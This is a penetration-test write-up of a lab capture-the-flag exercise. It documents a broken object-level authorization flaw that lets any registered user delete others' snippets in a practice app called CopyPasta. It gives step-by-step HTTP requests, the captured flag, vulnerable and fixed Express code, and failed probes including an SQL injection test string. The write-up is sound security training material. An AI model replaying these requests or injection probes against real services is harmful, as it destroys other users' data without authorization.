CopyPasta: IDOR Snippet Delete (Broken Object-Level Authorization)
Part 1: Pentest Report
Executive Summary
CopyPasta is a code-snippet sharing application (React single-page frontend, Express/Node JSON API, SQLite-backed) where users create, share, and manage snippets. Testing confirmed that the snippet delete endpoint performs no ownership or role check: any authenticated user can delete any snippet by id, including snippets they do not own.
Testing confirmed 1 finding:
| ID | Title | Severity | CVSS | CWE | Endpoint |
|---|---|---|---|---|---|
| F1 | Broken object-level authorization on snippet delete | High | 6.5 | CWE-639 | DELETE /api/snippets/:id |
The flag-bearing finding is a textbook insecure direct object reference on a destructive verb. An account that owns zero snippets was able to delete a snippet belonging to another user and received a 200 success response carrying the flag as an additional key. The defect allows arbitrary destruction of any user’s data with nothing more than a registered account.
Objective
Identify the planted vulnerability in the CopyPasta lab application and capture the flag.
Scope / Initial Access
# Target Application
URL: https://lab-1781224478220-lcxtov.labs-app.bugforge.io
# Auth details
# Self-registration is open: POST /api/register returns a JWT and the user object.
# JWT: HS256, payload {id, username, iat}, NO role claim in the token.
# Role is resolved server-side from the database, so forging a role claim
# in the JWT has no effect.
# Test account: haxor (user id 5, role "user", owns 0 snippets).
The application issues an HS256 JWT presented as Authorization: Bearer <token>. Because the token carries no role claim and the server resolves role from the database, privilege escalation through token tampering was not a viable path, which focused testing on object-level access control instead.
Reconnaissance: Mapping the Snippet API
The frontend is a static React bundle (static/js/main.a0518d46.js); the backend serves a JSON API under /api. The route surface was mapped from the bundle and confirmed against live responses.
Facts that shaped the test plan:
- The token has no role claim, and the seed admin account (
[email protected]) resolves its role server-side. Token-based privilege escalation was ruled out early. GET /api/snippetsreturns only the caller’s own snippets. For the test account this returned[], giving a clean baseline: any snippet the account could affect was owned by someone else.GET /api/snippets/publicreturns all public snippets with their owning username and id. This provided concrete object ids owned by other users to target.- The React bundle issues the snippet delete as
DELETE /api/snippets/{id}, keyed only on the snippet id with no owner value in the client request path. Object-level authorization has to be enforced server-side per verb regardless of what the client sends, so confirming whether the server enforced ownership on delete became the priority test. The same bundle exposes other destructive verbs on adjacent routes (PUT /api/snippets/:idedit,DELETE /api/profileaccount deletion) that were not exercised.
Application Architecture
| Component | Detail |
|---|---|
| Backend | Express/Node JSON API under /api |
| Frontend | React single-page app (static/js/main.a0518d46.js) |
| Auth | JWT HS256, Authorization: Bearer; payload {id, username, iat}, no role claim |
| Database | SQLite-style store (UNIQUE constraint on email) |
API Surface
| Endpoint | Method | Auth | Notes |
|---|---|---|---|
/api/register |
POST | No | Returns token + user object |
/api/verify-token |
GET | Yes | Current user |
/api/snippets |
GET | Yes | Caller’s own snippets only |
/api/snippets/public |
GET | Yes | All public snippets, with owner username/id |
/api/snippets/share/:uuid |
GET | Yes | Snippet by share code (returns private snippets too) |
/api/snippets/:id |
DELETE | Yes | No ownership check (F1) |
/api/snippets/:id |
PUT | Yes | Edit; same object route, not exercised |
/api/profile |
PUT | Yes | Field-whitelisted (full_name/bio/email) |
/api/profile |
DELETE | Yes | Account self-delete; seen in bundle, not exercised |
/api/profile/password |
PUT | Yes | Changes own password via JWT |
/api/profile/:username |
GET | Yes | User + their public snippets |
Known Users
| Username | ID | Role |
|---|---|---|
| admin | 1 | admin |
| coder123 | 2 | user |
| pythonista | 3 | user |
| webdev | 4 | user |
| haxor (us) | 5 | user |
Attack Chain Visualization
┌─────────────────┐ ┌──────────────────────┐ ┌────────────────────────┐ ┌───────────────────────────┐
│ Register account │ ──▶ │ GET /api/snippets │ ──▶ │ GET /api/snippets/public│ ──▶ │ DELETE /api/snippets/3 │
│ JWT, role user │ │ → [] (own nothing) │ │ → snippet 3 owned by │ │ → 200 + flag │
│ owns 0 snippets │ │ │ │ another user │ │ no ownership check │
└─────────────────┘ └──────────────────────┘ └────────────────────────┘ └───────────────────────────┘
Findings
F1: Broken object-level authorization on snippet delete
Severity: High
CVSS v3.1: 6.5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N)
CWE: CWE-639 (Authorization Bypass Through User-Controlled Key)
Endpoint: DELETE /api/snippets/:id
Authentication required: Yes (any registered account)
Description
The snippet delete handler resolves the target snippet by the :id path parameter and deletes it without verifying that the requesting account owns the snippet or holds an administrative role. Any authenticated user can delete any snippet by supplying its id, regardless of who created it.
The raw CVSS vector scores 6.5 (Medium) because the delete itself does not disclose other users’ data (C:N) and destruction registers as an integrity impact (I:H). The finding is rated High because the practical effect is unrestricted destruction of any user’s data by any account.
Impact
Any authenticated user can delete any other user’s snippets.
Reproduction
Step 1: Register an account
POST /api/register HTTP/1.1
Host: lab-1781224478220-lcxtov.labs-app.bugforge.io
Content-Type: application/json
{"username":"haxor","email":"[email protected]","password":"Passw0rd!","full_name":"haxor"}
Response: 200 with a JWT and the user object (id: 5, role: "user"). Subsequent requests use this token as Authorization: Bearer <token>.
Step 2: Confirm the account owns no snippets
GET /api/snippets HTTP/1.1
Host: lab-1781224478220-lcxtov.labs-app.bugforge.io
Authorization: Bearer <token>
Response: 200 with []. The account owns nothing, so any snippet it can affect is another user’s.
Step 3: Identify a snippet owned by another user
GET /api/snippets/public HTTP/1.1
Host: lab-1781224478220-lcxtov.labs-app.bugforge.io
Authorization: Bearer <token>
Response: 200 with the list of public snippets. Snippet 3 is owned by pythonista (user id 3).
Step 4: Delete the other user’s snippet
DELETE /api/snippets/3 HTTP/1.1
Host: lab-1781224478220-lcxtov.labs-app.bugforge.io
Authorization: Bearer <token>
Response:
{"message":"Snippet deleted successfully","flag":"bug{t3A6jD3DzjBNv1Rcigho1G6sPkJp5qF3}"}
The server returns 200 and deletes a snippet the account does not own. The flag is returned as an additional key alongside the success message.
Remediation
Fix 1: Enforce ownership (or admin role) before delete
// BEFORE (Vulnerable)
app.delete('/api/snippets/:id', auth, async (req, res) => {
await db.run('DELETE FROM snippets WHERE id = ?', [req.params.id]);
res.json({ message: 'Snippet deleted successfully' });
});
// AFTER (Secure)
app.delete('/api/snippets/:id', auth, async (req, res) => {
const snippet = await db.get('SELECT user_id FROM snippets WHERE id = ?', [req.params.id]);
if (!snippet) return res.status(404).json({ error: 'Not found' });
if (snippet.user_id !== req.user.id && req.user.role !== 'admin') {
return res.status(403).json({ error: 'Forbidden' });
}
await db.run('DELETE FROM snippets WHERE id = ?', [req.params.id]);
res.json({ message: 'Snippet deleted successfully' });
});
Additional recommendations:
- Apply the same ownership check to every verb on the object route, not just delete.
PUT /api/snippets/:id(edit) shares the route shape and was not exercised; it should be confirmed to enforce the same guard.DELETE /api/profile(account deletion) is also present in the bundle and untested; confirm it requires and acts only on the authenticated account. - Return
404rather than403if you prefer not to confirm the existence of objects the caller cannot access. - Do not return diagnostic or environment values (such as the flag key here) in production success responses.
OWASP Top 10 Coverage
- A01:2021 Broken Access Control: The delete endpoint enforces authentication but not authorization. The object id is fully user-controlled and no ownership or role check gates the destructive action, allowing horizontal access across user boundaries.
Tools Used
| Tool | Purpose |
|---|---|
| Burp Suite (Repeater) | Crafting and replaying authenticated API requests |
| Browser dev tools | Reading the React bundle to map the API surface |
References
- CWE-639: Authorization Bypass Through User-Controlled Key: https://cwe.mitre.org/data/definitions/639.html
- OWASP API Security Top 10: API1:2023 Broken Object Level Authorization: https://owasp.org/API-Security/editions/2023/en/0xa1-broken-object-level-authorization/
- OWASP Top 10 2021: A01 Broken Access Control: https://owasp.org/Top10/A01_2021-Broken_Access_Control/
Part 2: Notes / Knowledge
Key Learnings
- Enumerate every HTTP verb on every object endpoint; access control is frequently inconsistent across verbs. Nothing here is novel about IDOR, but the engagement reinforces a habit worth keeping mechanical: when an object route is found, probe it with each verb it accepts (
GET,PUT,PATCH,DELETE) rather than assuming the verbs share a guard. Read access was correctly scoped (GET /api/snippetsreturned only the caller’s snippets), yetDELETEon the same object family had no ownership check at all. A clean way to surface this is to act on an object you provably do not own (own zero snippets, then target someone else’s id) and watch for a200instead of403/404.
Failed Approaches
| Approach | Result | Why It Failed |
|---|---|---|
Mass assignment on PUT /api/profile (role:admin, username:admin) |
200 “success” but GET-profile check showed role and username unchanged |
Server whitelists full_name/bio/email only; extra fields are ignored |
SQL injection in profile email ([email protected]' or 1=2--) |
Stored and round-tripped literally | Field is parameterized |
| JWT role forging | Not viable | Token carries no role claim; role is resolved server-side from the database |
PUT /api/profile/password as cross-user delete/change |
Not pursued | Endpoint takes no target id, so it only changes the caller’s own password |
Informational: PUT /api/profile with an existing email (e.g. [email protected]) returns 500 "Database error" from the UNIQUE collision, versus 200 for a free email. This distinguishes registered emails (email-existence check) but was not part of the flag path.
Tags: #idor #broken-access-control #bola #verb-tampering #bugforge
Document Version: 1.0
Last Updated: 2026-06-12